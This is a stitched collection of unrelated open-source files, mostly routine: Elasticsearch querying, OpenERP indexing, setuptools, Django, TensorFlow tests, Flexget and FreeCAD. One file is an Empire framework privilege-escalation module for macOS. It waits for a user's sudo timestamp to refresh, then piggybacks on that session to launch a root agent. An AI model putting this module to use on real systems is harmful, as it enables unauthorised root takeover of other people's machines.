list, or # an empty list in which case we return no result. while True: try: results = search.execute() for hit in results: hits.append(self.format_fields(hit.to_dict())) total = search.count() aggregations = getattr(results, 'aggregations', {}) if aggregations: aggregations = self.format_aggregations(aggregations) shards = getattr(results, '_shards', {}) break # Yay! Results! except NotFoundError as e: missing_index = re.findall(BAD_INDEX_REGEX, e.error)[0] if missing_index in indices: del indices[indices.index(missing_index)] else: # Wait what? An error caused by an index that was not # in the request? That should never happen, but in case # it does, better know it. raise errors.append({ 'type': 'missing_index', 'index': missing_index, }) if indices: # Update the list of indices and try again. # Note: we need to first empty the list of indices before # updating it, otherwise the removed indices never get # actually removed. search = search.index().index(*indices) else: # There is no index left in the list, return an empty # result. hits = [] total = 0 aggregations = {} shards = None break except RequestError as exception: # Try to handle it gracefully if we can find out what # input was bad and caused the exception. try: bad_input = ELASTICSEARCH_PARSE_EXCEPTION_REGEX.findall( exception.error )[-1] # Loop over the original parameters to try to figure # out which *key* had the bad input. for key, value in kwargs.items(): if value == bad_input: raise BadArgumentError(key) except IndexError: # Not an ElasticsearchParseException exception pass raise if shards and shards.failed: # Some shards failed. We want to explain what happened in the # results, so the client can decide what to do. failed_indices = defaultdict(int) for failure in shards.failures: failed_indices[failure.index] += 1 for index, shards_count in failed_indices.items(): errors.append({ 'type': 'shards', 'index': index, 'shards_count': shards_count, }) return { 'hits': hits, 'total': total, 'facets': aggregations, 'errors': errors, } def _create_aggregations( self, params, search, facets_size, histogram_intervals ): # Create facets. for param in params['_facets']: self._add_second_level_aggs( param, search.aggs, facets_size, histogram_intervals, ) # Create sub-aggregations. for key in params: if not key.startswith('_aggs.'): continue fields = key.split('.')[1:] if fields[0] not in self.all_fields: continue base_bucket = self._get_fields_agg(fields[0], facets_size) sub_bucket = base_bucket for field in fields[1:]: # For each field, make a bucket, then include that bucket in # the latest one, and then make that new bucket the latest. if field in self.all_fields: tmp_bucket = self._get_fields_agg(field, facets_size) sub_bucket.bucket(field, tmp_bucket) sub_bucket = tmp_bucket for value in params[key]: self._add_second_level_aggs( value, sub_bucket, facets_size, histogram_intervals, ) search.aggs.bucket(fields[0], base_bucket) # Create histograms. for f in self.histogram_fields: key = '_histogram.%s' % f if params.get(key): histogram_bucket = self._get_histogram_agg( f, histogram_intervals ) for param in params[key]: self._add_second_level_aggs( param, histogram_bucket, facets_size, histogram_intervals, ) search.aggs.bucket('histogram_%s' % f, histogram_bucket) def _get_histogram_agg(self, field, intervals): histogram_type = ( self.all_fields[field]['query_type'] == 'date' and 'date_histogram' or 'histogram' ) return A( histogram_type, field=self.get_field_name(field), interval=intervals[field], ) def _get_cardinality_agg(self, field): return A( 'cardinality', field=self.get_field_name(field), ) def _get_fields_agg(self, field, facets_size): return A( 'terms', field=self.get_field_name(field), size=facets_size, ) def _add_second_level_aggs( self, param, recipient, facets_size, histogram_intervals ): for field in param.value: if not field: continue if field.startswith('_histogram'): field_name = field[len('_histogram.'):] if field_name not in self.histogram_fields: continue bucket_name = 'histogram_%s' % field_name bucket = self._get_histogram_agg( field_name, histogram_intervals ) elif field.startswith('_cardinality'): field_name = field[len('_cardinality.'):] bucket_name = 'cardinality_%s' % field_name bucket = self._get_cardinality_agg(field_name) else: bucket_name = field bucket = self._get_fields_agg(field, facets_size) recipient.bucket( bucket_name, bucket )
3dfxmadscientist/cbss-server
refs/heads/master
addons/document/content_index.py
430
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import logging import os import tempfile from subprocess import Popen, PIPE _logger = logging.getLogger(__name__) class NhException(Exception): pass class indexer(object): """ An indexer knows how to parse the content of some file. Typically, one indexer should be instantiated per file type. Override this class to add more functionality. Note that you should only override the Content or the File methods that give an optimal result. """ def _getMimeTypes(self): """ Return supported mimetypes """ return [] def _getExtensions(self): return [] def _getDefMime(self, ext): """ Return a mimetype for this document type, ideally the closest to the extension ext. """ mts = self._getMimeTypes(); if len (mts): return mts[0] return None def indexContent(self, content, filename=None, realfile=None): """ Use either content or the real file, to index. Some parsers will work better with the actual content, others parse a file easier. Try the optimal. """ res = '' try: if content != None: return self._doIndexContent(content) except NhException: pass if realfile != None: try: return self._doIndexFile(realfile) except NhException: pass fp = open(realfile,'rb') try: content2 = fp.read() finally: fp.close() # The not-handled exception may be raised here return self._doIndexContent(content2) # last try, with a tmp file if content: try: fname,ext = filename and os.path.splitext(filename) or ('','') fd, rfname = tempfile.mkstemp(suffix=ext) os.write(fd, content) os.close(fd) res = self._doIndexFile(rfname) os.unlink(rfname) return res except NhException: pass raise NhException('No appropriate method to index file.') def _doIndexContent(self, content): raise NhException("Content cannot be handled here.") def _doIndexFile(self, fpath): raise NhException("Content cannot be handled here.") def __repr__(self): return "<indexer %s.%s>" %(self.__module__, self.__class__.__name__) def mime_match(mime, mdict): if mdict.has_key(mime): return (mime, mdict[mime]) if '/' in mime: mpat = mime.split('/')[0]+'/*' if mdict.has_key(mpat): return (mime, mdict[mpat]) return (None, None) class contentIndex(object): def __init__(self): self.mimes = {} self.exts = {} def register(self, obj): f = False for mime in obj._getMimeTypes(): self.mimes[mime] = obj f = True for ext in obj._getExtensions(): self.exts[ext] = obj f = True if f: _logger.debug('Register content indexer: %r.', obj) if not f: raise Exception("Your indexer should at least support a mimetype or extension.") def doIndex(self, content, filename=None, content_type=None, realfname=None, debug=False): fobj = None fname = None mime = None if content_type and self.mimes.has_key(content_type): mime = content_type fobj = self.mimes[content_type] elif filename: bname,ext = os.path.splitext(filename) if self.exts.has_key(ext): fobj = self.exts[ext] mime = fobj._getDefMime(ext) if content_type and not fobj: mime,fobj = mime_match(content_type, self.mimes) if not fobj: try: if realfname : fname = realfname else: try: bname,ext = os.path.splitext(filename or 'test.tmp') except Exception: bname, ext = filename, 'tmp' fd, fname = tempfile.mkstemp(suffix=ext) os.write(fd, content) os.close(fd) pop = Popen(['file','-b','--mime',fname], shell=False, stdout=PIPE) (result, _) = pop.communicate() mime2 = result.split(';')[0] _logger.debug('File gives us: %s', mime2) # Note that the temporary file still exists now. mime,fobj = mime_match(mime2, self.mimes) if not mime: mime = mime2 except Exception: _logger.exception('Cannot determine mime type.') try: if fobj: res = (mime, fobj.indexContent(content,filename,fname or realfname) ) else: _logger.debug("Have no object, return (%s, None).", mime) res = (mime, '') except Exception: _logger.exception("Cannot index file %s (%s).", filename, fname or realfname) res = (mime, '') # If we created a tmp file, unlink it now if not realfname and fname: try: os.unlink(fname) except Exception: _logger.exception("Cannot unlink %s.", fname) return res cntIndex = contentIndex() # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
ilmanzo/scratch_extensions
refs/heads/master
venv/lib/python3.4/site-packages/setuptools/tests/test_windows_wrappers.py
151
""" Python Script Wrapper for Windows ================================= setuptools includes wrappers for Python scripts that allows them to be executed like regular windows programs. There are 2 wrappers, one for command-line programs, cli.exe, and one for graphical programs, gui.exe. These programs are almost identical, function pretty much the same way, and are generated from the same source file. The wrapper programs are used by copying them to the directory containing the script they are to wrap and with the same name as the script they are to wrap. """ from __future__ import absolute_import import sys import textwrap import subprocess import pytest from setuptools.command.easy_install import nt_quote_arg import pkg_resources pytestmark = pytest.mark.skipif(sys.platform != 'win32', reason="Windows only") class WrapperTester: @classmethod def prep_script(cls, template): python_exe = nt_quote_arg(sys.executable) return template % locals() @classmethod def create_script(cls, tmpdir): """ Create a simple script, foo-script.py Note that the script starts with a Unix-style '#!' line saying which Python executable to run. The wrapper will use this line to find the correct Python executable. """ script = cls.prep_script(cls.script_tmpl) with (tmpdir / cls.script_name).open('w') as f: f.write(script) # also copy cli.exe to the sample directory with (tmpdir / cls.wrapper_name).open('wb') as f: w = pkg_resources.resource_string('setuptools', cls.wrapper_source) f.write(w) class TestCLI(WrapperTester): script_name = 'foo-script.py' wrapper_source = 'cli-32.exe' wrapper_name = 'foo.exe' script_tmpl = textwrap.dedent(""" #!%(python_exe)s import sys input = repr(sys.stdin.read()) print(sys.argv[0][-14:]) print(sys.argv[1:]) print(input) if __debug__: print('non-optimized') """).lstrip() def test_basic(self, tmpdir): """ When the copy of cli.exe, foo.exe in this example, runs, it examines the path name it was run with and computes a Python script path name by removing the '.exe' suffix and adding the '-script.py' suffix. (For GUI programs, the suffix '-script.pyw' is added.) This is why we named out script the way we did. Now we can run out script by running the wrapper: This example was a little pathological in that it exercised windows (MS C runtime) quoting rules: - Strings containing spaces are surrounded by double quotes. - Double quotes in strings need to be escaped by preceding them with back slashes. - One or more backslashes preceding double quotes need to be escaped by preceding each of them with back slashes. """ self.create_script(tmpdir) cmd = [ str(tmpdir / 'foo.exe'), 'arg1', 'arg 2', 'arg "2\\"', 'arg 4\\', 'arg5 a\\\\b', ] proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE) stdout, stderr = proc.communicate('hello\nworld\n'.encode('ascii')) actual = stdout.decode('ascii').replace('\r\n', '\n') expected = textwrap.dedent(r""" \foo-script.py ['arg1', 'arg 2', 'arg "2\\"', 'arg 4\\', 'arg5 a\\\\b'] 'hello\nworld\n' non-optimized """).lstrip() assert actual == expected def test_with_options(self, tmpdir): """ Specifying Python Command-line Options -------------------------------------- You can specify a single argument on the '#!' line. This can be used to specify Python options like -O, to run in optimized mode or -i to start the interactive interpreter. You can combine multiple options as usual. For example, to run in optimized mode and enter the interpreter after running the script, you could use -Oi: """ self.create_script(tmpdir) tmpl = textwrap.dedent(""" #!%(python_exe)s -Oi import sys input = repr(sys.stdin.read()) print(sys.argv[0][-14:]) print(sys.argv[1:]) print(input) if __debug__: print('non-optimized') sys.ps1 = '---' """).lstrip() with (tmpdir / 'foo-script.py').open('w') as f: f.write(self.prep_script(tmpl)) cmd = [str(tmpdir / 'foo.exe')] proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) stdout, stderr = proc.communicate() actual = stdout.decode('ascii').replace('\r\n', '\n') expected = textwrap.dedent(r""" \foo-script.py [] '' --- """).lstrip() assert actual == expected class TestGUI(WrapperTester): """ Testing the GUI Version ----------------------- """ script_name = 'bar-script.pyw' wrapper_source = 'gui-32.exe' wrapper_name = 'bar.exe' script_tmpl = textwrap.dedent(""" #!%(python_exe)s import sys f = open(sys.argv[1], 'wb') bytes_written = f.write(repr(sys.argv[2]).encode('utf-8')) f.close() """).strip() def test_basic(self, tmpdir): """Test the GUI version with the simple scipt, bar-script.py""" self.create_script(tmpdir) cmd = [ str(tmpdir / 'bar.exe'), str(tmpdir / 'test_output.txt'), 'Test Argument', ] proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) stdout, stderr = proc.communicate() assert not stdout assert not stderr with (tmpdir / 'test_output.txt').open('rb') as f_out: actual = f_out.read().decode('ascii') assert actual == repr('Test Argument')
georgemarshall/django
refs/heads/master
django/conf/locale/cs/formats.py
35
# This file is distributed under the same license as the Django package. # # The *_FORMAT strings use the Django date format syntax, # see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date DATE_FORMAT = 'j. E Y' TIME_FORMAT = 'G:i' DATETIME_FORMAT = 'j. E Y G:i' YEAR_MONTH_FORMAT = 'F Y' MONTH_DAY_FORMAT = 'j. F' SHORT_DATE_FORMAT = 'd.m.Y' SHORT_DATETIME_FORMAT = 'd.m.Y G:i' FIRST_DAY_OF_WEEK = 1 # Monday # The *_INPUT_FORMATS strings use the Python strftime format syntax, # see https://docs.python.org/library/datetime.html#strftime-strptime-behavior DATE_INPUT_FORMATS = [ '%d.%m.%Y', '%d.%m.%y', # '05.01.2006', '05.01.06' '%d. %m. %Y', '%d. %m. %y', # '5. 1. 2006', '5. 1. 06' # '%d. %B %Y', '%d. %b. %Y', # '25. October 2006', '25. Oct. 2006' ] # Kept ISO formats as one is in first position TIME_INPUT_FORMATS = [ '%H:%M:%S', # '04:30:59' '%H.%M', # '04.30' '%H:%M', # '04:30' ] DATETIME_INPUT_FORMATS = [ '%d.%m.%Y %H:%M:%S', # '05.01.2006 04:30:59' '%d.%m.%Y %H:%M:%S.%f', # '05.01.2006 04:30:59.000200' '%d.%m.%Y %H.%M', # '05.01.2006 04.30' '%d.%m.%Y %H:%M', # '05.01.2006 04:30' '%d.%m.%Y', # '05.01.2006' '%d. %m. %Y %H:%M:%S', # '05. 01. 2006 04:30:59' '%d. %m. %Y %H:%M:%S.%f', # '05. 01. 2006 04:30:59.000200' '%d. %m. %Y %H.%M', # '05. 01. 2006 04.30' '%d. %m. %Y %H:%M', # '05. 01. 2006 04:30' '%d. %m. %Y', # '05. 01. 2006' '%Y-%m-%d %H.%M', # '2006-01-05 04.30' ] DECIMAL_SEPARATOR = ',' THOUSAND_SEPARATOR = '\xa0' # non-breaking space NUMBER_GROUPING = 3
MicroTrustRepos/microkernel
refs/heads/master
src/l4/pkg/python/contrib/Tools/scripts/linktree.py
101
#! /usr/bin/env python # linktree # # Make a copy of a directory tree with symbolic links to all files in the # original tree. # All symbolic links go to a special symbolic link at the top, so you # can easily fix things if the original source tree moves. # See also "mkreal". # # usage: mklinks oldtree newtree import sys, os LINK = '.LINK' # Name of special symlink at the top. debug = 0 def main(): if not 3 <= len(sys.argv) <= 4: print 'usage:', sys.argv[0], 'oldtree newtree [linkto]' return 2 oldtree, newtree = sys.argv[1], sys.argv[2] if len(sys.argv) > 3: link = sys.argv[3] link_may_fail = 1 else: link = LINK link_may_fail = 0 if not os.path.isdir(oldtree): print oldtree + ': not a directory' return 1 try: os.mkdir(newtree, 0777) except os.error, msg: print newtree + ': cannot mkdir:', msg return 1 linkname = os.path.join(newtree, link) try: os.symlink(os.path.join(os.pardir, oldtree), linkname) except os.error, msg: if not link_may_fail: print linkname + ': cannot symlink:', msg return 1 else: print linkname + ': warning: cannot symlink:', msg linknames(oldtree, newtree, link) return 0 def linknames(old, new, link): if debug: print 'linknames', (old, new, link) try: names = os.listdir(old) except os.error, msg: print old + ': warning: cannot listdir:', msg return for name in names: if name not in (os.curdir, os.pardir): oldname = os.path.join(old, name) linkname = os.path.join(link, name) newname = os.path.join(new, name) if debug > 1: print oldname, newname, linkname if os.path.isdir(oldname) and \ not os.path.islink(oldname): try: os.mkdir(newname, 0777) ok = 1 except: print newname + \ ': warning: cannot mkdir:', msg ok = 0 if ok: linkname = os.path.join(os.pardir, linkname) linknames(oldname, newname, linkname) else: os.symlink(linkname, newname) if __name__ == '__main__': sys.exit(main())
AnishShah/tensorflow
refs/heads/master
tensorflow/compiler/tests/fused_batchnorm_test.py
2
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Functional tests for fused batch norm operations.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from absl.testing import parameterized import numpy as np from tensorflow.compiler.tests import test_utils from tensorflow.compiler.tests import xla_test from tensorflow.python.ops import array_ops from tensorflow.python.ops import gen_nn_ops from tensorflow.python.ops import gradient_checker from tensorflow.python.ops import nn from tensorflow.python.platform import test class FusedBatchNormTest(xla_test.XLATestCase, parameterized.TestCase): def _reference_training(self, x, scale, offset, epsilon, data_format): if data_format != "NHWC": raise ValueError("data_format must be NHWC, got %s." % data_format) x_square = x * x x_square_sum = np.sum(x_square, (0, 1, 2)) x_sum = np.sum(x, axis=(0, 1, 2)) element_count = np.size(x) / int(np.shape(x)[-1]) mean = x_sum / element_count var = x_square_sum / element_count - mean * mean normalized = (x - mean) / np.sqrt(var + epsilon) return (normalized * scale + offset), mean, var def _reference_grad(self, x, grad_y, scale, mean, var, epsilon, data_format): # Use the following formulas to calculate gradients: # grad_scale = # sum(grad_y * (x - mean)) * rsqrt(var + epsilon) # # grad_offset = sum(output_y) # # grad_x = # 1/N * scale * rsqrt(var + epsilon) * (N * grad_y - sum(grad_y) - # (x - mean) * sum(grad_y * (x - mean)) / (var + epsilon)) if data_format != "NHWC": raise ValueError("data_format must be NHWC, got %s." % data_format) grad_x = scale * (grad_y - np.mean(grad_y, axis=(0, 1, 2)) - (x - mean) * np.mean(grad_y * (x - mean), axis=(0, 1, 2)) / (var + epsilon)) / np.sqrt(var + epsilon) grad_scale = np.sum( grad_y * (x - mean) / np.sqrt(var + epsilon), axis=(0, 1, 2)) grad_offset = np.sum(grad_y, axis=(0, 1, 2)) return grad_x, grad_scale, grad_offset @parameterized.named_parameters( ("_data_format_NHWC", "NHWC"), ("_data_format_NCHW", "NCHW"), ("_data_format_HWNC", "HWNC"), ("_data_format_HWCN", "HWCN"), ) def testInference(self, data_format): channel = 3 x_shape = [2, 2, 6, channel] scale_shape = [channel] x_val = np.random.random_sample(x_shape).astype(np.float32) scale_val = np.random.random_sample(scale_shape).astype(np.float32) offset_val = np.random.random_sample(scale_shape).astype(np.float32) epsilon = 0.001 data_format_src = "NHWC" y_ref, mean_ref, var_ref = self._reference_training( x_val, scale_val, offset_val, epsilon, data_format_src) with self.cached_session() as sess, self.test_scope(): # To avoid constant folding x_val_converted = test_utils.ConvertBetweenDataFormats( x_val, data_format_src, data_format) y_ref_converted = test_utils.ConvertBetweenDataFormats( y_ref, data_format_src, data_format) t_val = array_ops.placeholder( np.float32, shape=x_val_converted.shape, name="x") scale = array_ops.placeholder(np.float32, shape=scale_shape, name="scale") offset = array_ops.placeholder( np.float32, shape=scale_shape, name="offset") y, mean, variance = nn.fused_batch_norm( t_val, scale, offset, mean=mean_ref, variance=var_ref, epsilon=epsilon, data_format=data_format, is_training=False) y_val, _, _ = sess.run([y, mean, variance], { t_val: x_val_converted, scale: scale_val, offset: offset_val }) self.assertAllClose(y_val, y_ref_converted, atol=1e-3) def _testLearning(self, use_gradient_checker, data_format): channel = 3 x_shape = [2, 2, 6, channel] scale_shape = [channel] x_val = np.random.random_sample(x_shape).astype(np.float32) scale_val = np.random.random_sample(scale_shape).astype(np.float32) offset_val = np.random.random_sample(scale_shape).astype(np.float32) mean_val = np.random.random_sample(scale_shape).astype(np.float32) var_val = np.random.random_sample(scale_shape).astype(np.float32) epsilon = 0.001 data_format_src = "NHWC" y_ref, mean_ref, var_ref = self._reference_training( x_val, scale_val, offset_val, epsilon, data_format_src) with self.cached_session() as sess, self.test_scope(): # To avoid constant folding x_val_converted = test_utils.ConvertBetweenDataFormats( x_val, data_format_src, data_format) y_ref_converted = test_utils.ConvertBetweenDataFormats( y_ref, data_format_src, data_format) t_val = array_ops.placeholder( np.float32, shape=x_val_converted.shape, name="x") scale = array_ops.placeholder(np.float32, shape=scale_shape, name="scale") offset = array_ops.placeholder( np.float32, shape=scale_shape, name="offset") y, mean, var = nn.fused_batch_norm( t_val, scale, offset, mean=None, variance=None, epsilon=epsilon, data_format=data_format, is_training=True) # Check gradient. if use_gradient_checker: err = gradient_checker.compute_gradient_error( t_val, x_val_converted.shape, y, x_val_converted.shape, extra_feed_dict={ t_val: x_val_converted, scale: scale_val, offset: offset_val }) self.assertLess(err, 1e-3) y_val, mean_val, var_val = sess.run([y, mean, var], { t_val: x_val_converted, scale: scale_val, offset: offset_val }) self.assertAllClose(mean_val, mean_ref, atol=1e-3) self.assertAllClose(y_val, y_ref_converted, atol=1e-3) self.assertAllClose(var_val, var_ref, atol=1e-3) @parameterized.named_parameters( ("_data_format_NHWC", "NHWC"), ("_data_format_NCHW", "NCHW"), ("_data_format_HWNC", "HWNC"), ("_data_format_HWCN", "HWCN"), ) def testLearning(self, data_format): self._testLearning(False, data_format) @parameterized.named_parameters( ("_data_format_NHWC", "NHWC"), ("_data_format_NCHW", "NCHW"), ("_data_format_HWNC", "HWNC"), ("_data_format_HWCN", "HWCN"), ) def testLearningWithGradientChecker(self, data_format): self._testLearning(True, data_format) @parameterized.named_parameters( ("_data_format_NHWC", "NHWC"), ("_data_format_NCHW", "NCHW"), ("_data_format_HWNC", "HWNC"), ("_data_format_HWCN", "HWCN"), ) def testGradientTraining(self, data_format): # TODO(b/64270657): Use gradient_checker here in addition to comparing with # this reference implementation. channel = 3 x_shape = [2, 2, 6, channel] scale_shape = [channel] grad_val = np.random.random_sample(x_shape).astype(np.float32) x_val = np.random.random_sample(x_shape).astype(np.float32) scale_val = np.random.random_sample(scale_shape).astype(np.float32) mean_val = np.random.random_sample(scale_shape).astype(np.float32) var_val = np.random.random_sample(scale_shape).astype(np.float32) epsilon = 0.001 data_format_src = "NHWC" grad_x_ref, grad_scale_ref, grad_offset_ref = self._reference_grad( x_val, grad_val, scale_val, mean_val, var_val, epsilon, data_format_src) with self.cached_session() as sess, self.test_scope(): grad_val_converted = test_utils.ConvertBetweenDataFormats( grad_val, data_format_src, data_format) x_val_converted = test_utils.ConvertBetweenDataFormats( x_val, data_format_src, data_format) grad_x_ref_converted = test_utils.ConvertBetweenDataFormats( grad_x_ref, data_format_src, data_format) grad = array_ops.placeholder( np.float32, shape=x_val_converted.shape, name="grad") x = array_ops.placeholder( np.float32, shape=x_val_converted.shape, name="x") mean = array_ops.placeholder(np.float32, shape=scale_shape, name="mean") var = array_ops.placeholder(np.float32, shape=scale_shape, name="var") scale = array_ops.placeholder(np.float32, shape=scale_shape, name="scale") grad_x, grad_scale, grad_offset, _, _ = gen_nn_ops.fused_batch_norm_grad( grad, x, scale, mean, var, data_format=data_format, is_training=True) grad_x_val, grad_scale_val, grad_offset_val = sess.run( [grad_x, grad_scale, grad_offset], { grad: grad_val_converted, x: x_val_converted, mean: mean_val, var: var_val, scale: scale_val }) self.assertAllClose(grad_x_val, grad_x_ref_converted, atol=1e-2) self.assertAllClose(grad_scale_val, grad_scale_ref, atol=1e-2) self.assertAllClose(grad_offset_val, grad_offset_ref, atol=1e-3) @parameterized.named_parameters( ("_data_format_NHWC", "NHWC"), ("_data_format_NCHW", "NCHW"), ("_data_format_HWNC", "HWNC"), ("_data_format_HWCN", "HWCN"), ) def testGradientInference(self, data_format): # TODO(b/64270657): Use gradient_checker here in addition to comparing with # this reference implementation. channel = 3 x_shape = [2, 2, 6, channel] scale_shape = [channel] grad_val = np.random.random_sample(x_shape).astype(np.float32) x_val = np.random.random_sample(x_shape).astype(np.float32) scale_val = np.random.random_sample(scale_shape).astype(np.float32) mean_val = np.random.random_sample(scale_shape).astype(np.float32) var_val = np.random.random_sample(scale_shape).astype(np.float32) data_format_src = "NHWC" with self.cached_session() as sess, self.test_scope(): grad_val_converted = test_utils.ConvertBetweenDataFormats( grad_val, data_format_src, data_format) x_val_converted = test_utils.ConvertBetweenDataFormats( x_val, data_format_src, data_format) grad = array_ops.placeholder( np.float32, shape=x_val_converted.shape, name="grad") x = array_ops.placeholder( np.float32, shape=x_val_converted.shape, name="x") mean = array_ops.placeholder(np.float32, shape=scale_shape, name="mean") var = array_ops.placeholder(np.float32, shape=scale_shape, name="var") scale = array_ops.placeholder(np.float32, shape=scale_shape, name="scale") with self.test_scope(): out = gen_nn_ops.fused_batch_norm_grad( grad, x, scale, mean, var, data_format=data_format, is_training=False) grad_x, grad_scale, grad_offset, _, _ = out ref_x, ref_scale, ref_offset, _, _ = gen_nn_ops.fused_batch_norm_grad( grad, x, scale, mean, var, data_format=data_format, is_training=False) grad_x_val, grad_scale_val, grad_offset_val, = sess.run( [grad_x, grad_scale, grad_offset], { grad: grad_val_converted, x: x_val_converted, mean: mean_val, var: var_val, scale: scale_val }) grad_x_ref, grad_scale_ref, grad_offset_ref, = sess.run( [ref_x, ref_scale, ref_offset], { grad: grad_val_converted, x: x_val_converted, mean: mean_val, var: var_val, scale: scale_val }) self.assertAllClose(grad_x_val, grad_x_ref, atol=1e-2) self.assertAllClose(grad_scale_val, grad_scale_ref, atol=1e-2) self.assertAllClose(grad_offset_val, grad_offset_ref, atol=1e-3) if __name__ == "__main__": test.main()
frohoff/Empire
refs/heads/master
lib/modules/python/privesc/osx/piggyback.py
2
from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime self.info = { # name for the module that will appear in module menus 'Name': 'SudoPiggyback', # list of one or more authors for the module 'Author': ['@n00py'], # more verbose multi-line description of the module 'Description': ('Spawns a new EmPyre agent using an existing sudo session. This works up until El Capitan.'), # True if the module needs to run in the background 'Background' : False, # File extension to save the file as 'OutputExtension' : "", # if the module needs administrative privileges 'NeedsAdmin' : False, # True if the method doesn't touch disk/is reasonably opsec safe 'OpsecSafe' : False, # the module language 'Language': 'python', # the minimum language version needed 'MinLanguageVersion': '2.6', # list of any references/other comments 'Comments': ['Inspired by OS X Incident Response by Jason Bradley'] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to execute module on.', 'Required' : True, 'Value' : '' }, 'Listener' : { 'Description' : 'Listener to use.', 'Required' : True, 'Value' : '' }, 'SafeChecks': { 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', 'Required': True, 'Value': 'True' }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, 'Value' : 'default' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # During instantiation, any settable option parameters # are passed as an object set to the module and the # options dictionary is automatically set. This is mostly # in case options are passed on the command line if params: for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): # extract all of our options listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] safeChecks = self.options['SafeChecks']['Value'] # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: launcher = launcher.replace("'", "\\'") launcher = launcher.replace('echo', '') parts = launcher.split("|") launcher = "sudo python -c %s" % (parts[0]) script = """ import os import time import subprocess sudoDir = "/var/db/sudo" subprocess.call(['sudo -K'], shell=True) oldTime = time.ctime(os.path.getmtime(sudoDir)) exitLoop=False while exitLoop is False: newTime = time.ctime(os.path.getmtime(sudoDir)) if oldTime != newTime: try: subprocess.call(['%s'], shell=True) exitLoop = True except: pass """ % (launcher) return script
sean797/Flexget
refs/heads/develop
flexget/plugins/sites/koreus.py
8
from __future__ import unicode_literals, division, absolute_import from builtins import * # noqa pylint: disable=unused-import, redefined-builtin import logging import re from flexget import plugin from flexget.event import event from flexget.plugins.internal.urlrewriting import UrlRewritingError from flexget.utils.soup import get_soup log = logging.getLogger('koreus') class UrlRewriteKoreus(object): """Koreus urlrewriter.""" # urlrewriter API def url_rewritable(self, task, entry): url = entry['url'] if url.startswith('http://www.koreus.com'): return True return False # urlrewriter API def url_rewrite(self, task, entry): entry['url'] = self.parse_download_page(entry['url'], task.requests) @plugin.internet(log) def parse_download_page(self, url, requests): txheaders = {'User-agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} page = requests.get(url, headers=txheaders) try: soup = get_soup(page.text) except Exception as e: raise UrlRewritingError(e) down_link = soup.find('a', attrs={'href': re.compile(".+mp4")}) if not down_link: raise UrlRewritingError('Unable to locate download link from url %s' % url) return down_link.get('href') @event('plugin.register') def register_plugin(): plugin.register(UrlRewriteKoreus, 'koreus', interfaces=['urlrewriter'], api_ver=2)
Alpistinho/FreeCAD
refs/heads/master
src/Mod/Plot/plotSave/TaskPanel.py
26
#*************************************************************************** #* * #* Copyright (c) 2011, 2012 * #* Jose Luis Cercos Pita <jlcercos@gmail.com> * #* * #* This program is free software; you can redistribute it and/or modify * #* it under the terms of the GNU Lesser General Public License (LGPL) * #* as published by the Free Software Foundation; either version 2 of * #* the License, or (at your option) any later version. * #* for detail see the LICENCE text file. * #* * #* This program is distributed in the hope that it will be useful, * #* but WITHOUT ANY WARRANTY; without even the implied warranty of * #* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * #* GNU Library General Public License for more details. * #* * #* You should have received a copy of the GNU Library General Public * #* License along with this program; if not, write to the Free Software * #* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * #* USA * #* * #*************************************************************************** import os import FreeCAD as App import FreeCADGui as Gui from PySide import QtGui, QtCore import Plot from plotUtils import Paths class TaskPanel: def __init__(self): self.ui = Paths.modulePath() + "/plotSave/TaskPanel.ui" def accept(self): plt = Plot.getPlot() if not plt: msg = QtGui.QApplication.translate( "plot_console", "Plot document must be selected in order to save it", None, QtGui.QApplication.UnicodeUTF8) App.Console.PrintError(msg + "\n") return False mw = self.getMainWindow() form = mw.findChild(QtGui.QWidget, "TaskPanel") form.path = self.widget(QtGui.QLineEdit, "path") form.sizeX = self.widget(QtGui.QDoubleSpinBox, "sizeX") form.sizeY = self.widget(QtGui.QDoubleSpinBox, "sizeY") form.dpi = self.widget(QtGui.QSpinBox, "dpi") path = unicode(form.path.text()) size = (form.sizeX.value(), form.sizeY.value()) dpi = form.dpi.value() Plot.save(path, size, dpi) return True def reject(self): return True def clicked(self, index): pass def open(self): pass def needsFullSpace(self): return True def isAllowedAlterSelection(self): return False def 